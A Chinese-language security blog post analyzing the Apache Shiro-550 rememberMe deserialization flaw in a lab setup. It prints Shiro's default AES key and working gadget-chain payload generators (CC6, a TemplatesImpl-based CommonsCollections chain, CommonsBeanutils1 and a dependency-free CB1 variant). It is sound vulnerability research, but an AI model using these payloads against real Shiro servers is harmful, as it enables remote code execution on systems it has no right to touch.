目录

Shiro 反序列化漏洞原理分析

Shiro 反序列化漏洞原理分析

1 概述

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。

Shiro反序列化漏洞的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

前面的文章,介绍了 Commons-Collections 链的各种 Gadget,分为两种利用方式:一种是 InvokerTransformer,通过 Runtime.exec() 命令执行;另一种是 TemplatesImpl,通过加载类字节码的形式代码执行。

本文先以一个实际的例子 —— Shiro 反序列化漏洞,来实际使用一下 TemplatesImpl

2 漏洞环境搭建

利用 靶场 搭建漏洞环境,整个项目只有两个代码文件,index.jsp 和 login.jsp,依赖这块也仅有下面几个:

  • shiro-coreshiro-web,这是 shiro 本身的依赖
  • javax.servlet-apijsp-api,这是 JSP 和 Servlet 的依赖,仅在编译阶段使用,因为 Tomcat 中自带这两个依赖
  • slf4j-apislf4j-simple,这是为了显示 shiro 中的报错信息添加的依赖
  • commons-logging,这是 shiro 中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
  • commons-collections,为了演示反序列化漏洞,增加了commons-collections 依赖

使用 Maven 将项目打包成 war 包,放在 Tomcat 的 webapps 目录下。然后访问 http://localhost:8080/shirodemo/ ,会跳转到登录页面:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110101714444.png-water_print

然后输入正确的账号密码,root/secret,可以成功登录。

如果登录时选择了 remember me 的多选框,则登录成功后服务端会返回一个 rememberMe 的 Cookie。

3 使用 CC6 攻击 Shiro

3.1 概述

整个攻击过程如下:

  1. 使用 CommonsCollections 利用链生成一个序列化 Payload
  2. 使用 Shiro 默认 Key 进行加密
  3. 将密文作为 rememberMe 的 Cookie 发送给服务端

3.2 包含数组的反序列化 Gadget

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

加密的过程,使用的 shiro 内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段 base64 字符串。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121617895.png-water_print

直接将这段字符串作为 rememberMe 的值(不做 url 编码),发送给 shiro。结果 Tomcat 出现了报错:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121625556.png-water_print

找到最后一个异常信息 org.apache.shiro.io.ClassResolvingObjectInputStream,可以看到,这是一个 ObjectInputStream 的子类,其重写了 resolveClass 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121628841.png-water_print

resolveClass 是反序列化中用来查找类的方法,在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass 方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
{
    String name = desc.getName();
    try {
        return Class.forName(name, false, latestUserDefinedLoader());
    } catch (ClassNotFoundException ex) {
        Class<?> cl = primClasses.get(name);
        if (cl != null) {
            return cl;
        } else {
            throw ex;
        }
    }
}

会发现,前者用的是 org.apache.shiro.util.ClassUtils#forName,而后者用的是 Java 原生的 Class.forName

在异常捕捉的位置下个断点,看看是哪个类触发了异常:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121633026.png-water_print

可见,出异常时加载的类名为 [Lorg.apache.commons.collections.Transformer;。其实就是表示 org.apache.commons.collections.Transformer 的数组。

3.2.1 Class.forName 和 ClassLoader.loadClass 的区别

当使用 ClassLoader.loadClass(String name) 时,name 必须是 Java 语言规范定义的二进制名称,并不包括数组类;类加载器负责加载类的对象,数组类的类对象不是由类加载器创建的,而是根据 Java 运行时的要求自动创建的。

以下面代码为例:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
package ClassLoaderDemo;

public class ClassLoaderDemo {
    public static void main(String[] args) throws ClassNotFoundException {
        String c1name = "test1".getClass().getName();
        String c2name = new String[]{"test2"}.getClass().getName();

        System.out.println(c1name);
        System.out.println(c2name);

        Class.forName(c1name);
        Class.forName(c2name);


        ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
        ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121947622.png-water_print

3.2.2 真实原因

网上大部分分析原因都是说 Class.forName()ClassLoader.loadClass() 的区别导致 shiro 反序列化时不能加载数组,这个原因不完全准确。

其实是 shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader,只会加载 tomcat/bintomcat/libjre/lib/ext 下面的类数组,无法加载三方依赖 jar 包。

总之,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。

3.3 不包含数组的反序列化 Gadget

这里利用 wh1t3p1g 的思路。使用 TemplatesImpl.newTransformer 函数来动态 loadClass 构造好的evil class bytes。并且在这部分利用链上是不存在数组类型的对象的。

如何触发TemplatesImpl.newTransformer的方法?

先来回顾一下 CommonsCollections2 的利用链:

1
2
3
4
5
6
7
8
9
PriorityQueue.readObject
    -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
    -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
            -> InvokerTransformer.transform()
                -> TemplatesImpl.newTransformer()
                ... templates Gadgets ...
                    -> Runtime.getRuntime().exec()

在这条链上,由于 TransformingComparator 在 3.2.1 的版本上还没有实现 Serializable 接口,其在 3.2.1 版本下是无法反序列化的。所以无法直接利用该payload来达到命令执行的目的。

InvokerTransformer.transform() 中,根据传入的 input 对象,调用其 iMethodName 方法。如果此时传入的 input 为构造好的 TemplatesImpl 对象呢?这样就可以通过将 iMethodName 置为 newTransformer,从而完成后续的 templates gadgets。

在 ysoserial 的利用链中,关于 transform 函数接收的 input 存在两种情况:

  • 配合 ChainedTransformer
  • 无意义的 String,这里的无意义的 String 指的是传入到 ConstantTransformer.transform 函数的 input,该 transform 函数不依赖 input,而直接返回 iConstant

CommonsCollection6 开始,用到了 TiedMapEntry,其作为中继,调用了 LazyMap(map)的 get 函数。

其中 mapkey 都可以控制,而 LazyMap.get 调用了 transform 函数,并将可控的 key 传入 transform 函数:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121650952.png-water_print

这样就将构造好的 TemplatesImpl(key)作为 InvokerTransformer.transform 函数的 input 传入,就可以把 templates gadgets 串起来了。

这里整理一下这条链的调用过程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
java.util.HashSet.readObject()
-> java.util.HashMap.put()
-> java.util.HashMap.hash()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    -> org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
        -> org.apache.commons.collections.map.LazyMap.get()
        -> org.apache.commons.collections.functors.InvokerTransformer.transform()
            -> java.lang.reflect.Method.invoke()
      ... templates gadgets ...
      -> java.lang.Runtime.exec()

4 实战 - CommonsCollectionsK1

首先还是创建 TemplatesImpl 对象:

1
2
3
4
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

创建一个用来调用 newTransformer 方法的 InvokerTransformer,但注意的是,此时先传入一个正常的方法,比如 getClass ,避免恶意方法在构造 Gadget 的时候触发:

1
Transformertransformer = new InvokerTransformer("getClass",null,null);

再把之前的 CommonsCollections6 的代码复制过来,将原来 TiedMapEntry 构造时的第二个参数 key,改为前面创建的 TemplatesImpl 对象:

1
2
3
4
5
6
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

完整代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110121741080.png-water_print

这一个 Gadget 其实也就是 XRay 和 Koalr 师傅的 CommonsCollectionsK1 用来检测 Shiro-550 的方法。

5 CommonsBeanutils1 Gadget 分析

5.1 背景

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean)的一些操作方法。

如 Cat 是一个最简单的 JavaBean 类:它包含一个私有属性 name,和读取和设置这个属性的两个方法,又称为 getter 和 setter。其中,getter 的方法名以 get 开头,setter 的方法名以 set 开头,

1
2
3
4
5
6
7
8
9
final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
}
    public void setName(String name) {
        this.name = name;
    }
}

commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter 方法,比如:PropertyUtils.getProperty(new Cat(), "name");

此时,commons-beanutils 会自动找到 name 属性的 getter 方法,也就是 getName,然后调用,获得返回值。除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如 a 对象中有属性 b,b 对象中有属性 c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过该方法,使用者可以很方便地调用任意对象的 getter,适用于在不确定 JavaBean 是哪个类对象时使用。

5.2 分析

寻找可以利用的 java.util.Comparator 对象,在 commons-beanutils 包中存在: org.apache.commons.beanutils.BeanComparator ,用来比较两个 JavaBean 是否相等的类,其实现了 java.util.Comparator 接口。我们看它的 compare 方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011005375.png-water_print

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象。如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。PropertyUtils.getProperty 这个方法会自动去调用一个 JavaBean的getter 方法, 这个点是任意代码执行的关键。

在分析 TemplatesImpl 利用链的文章中指出,TemplatesImpl#getOutputProperties() 方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer() ,也就是后面常用来执行恶意字节码的方法:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202109011010362.png-water_print

getOutputProperties 这个名字,是以 get 开头,正符合 getter 的定义。

构造的 POC 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1Demo {
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("/Volumes/MacOS/WorkSpace/JAVA/ClassLoaderVuln/http/HelloTemppaltesImpl.class"));

        TemplatesImpl obj = new TemplatesImpl();

        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // 序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

首先创建 TemplateImpl。然后实例化 BeanComparatorBeanComparator 构造函数为空时,默认的 property 就是空。再用刚刚的 comparator 实例化优先队列 PriorityQueue

可以看到,代码中添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare() 中, 如果 this.property 为空,则直接比较这两个对象。这里实际上就是对两个 1 进行排序。

最后,再用反射将 property 的值设置成恶意的 outputProperties ,将队列里的两个 1 替换成恶意的 TemplateImpl 对象。

6 CB1 在 Shiro 反序列化中的利用

在前面的漏洞环境中,我们是手动添加了 Commons Collections 依赖。在实际场景中,目标系统不一定会安装 Commons Collections 库。而 commons-beanutils 默认添加。

尝试使用上文的 CB1 直接构造 payload,并发送,发现是失败的,提示 serialVersionUID 不一致。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131617685.png-water_print

6.1 serialVersionUID

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java 在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中

反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化过程就丢异常并退出执行,避免后续的未知隐患。

所以,出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。

更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:

1
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]

简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator 类,从包名即可看出,这个类是来自于 commons-collections

commons-beanutils 本来依赖于 commons-collections,但是在 Shiro 中,它的 commons-beanutils 虽然包含了一部分 commons-collections 的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。

6.2 无依赖的 Shiro 反序列化 Gadget

首先确认 org.apache.commons.collections.comparators.ComparableComparator 这个类的使用情况:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131555034.png-water_print

BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 ComparableComparator

既然此时没有 ComparableComparator ,需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口 Java、shiro 或 commons-beanutils 自带,且兼容性强

通过 IDEA 的 Implementation 寻找实现了 Comparator 的类:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131559030.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131559165.png-water_print

代码如下:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131601873.png-water_print

CaseInsensitiveComparator 类是 java.lang.String 类下的一个内部私有类,其实现了 ComparatorSerializable ,且位于 Java 的核心代码中,兼容性强。

通过 String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的 CaseInsensitiveComparator 对象,用它来实例化 BeanComparator :

1
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

构造出新的 CommonsBeanutils1Shiro 利用链:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value); 
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream(); 
        ObjectOutputStream oos = new ObjectOutputStream(barr); 
        oos.writeObject(queue);
        oos.close();
        return barr.toByteArray();
    }
}

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/202110131624407.png-water_print

参考

phith0n Java 漫谈系列

Shiro RememberMe 1.2.4 反序列化导致的命令执行漏洞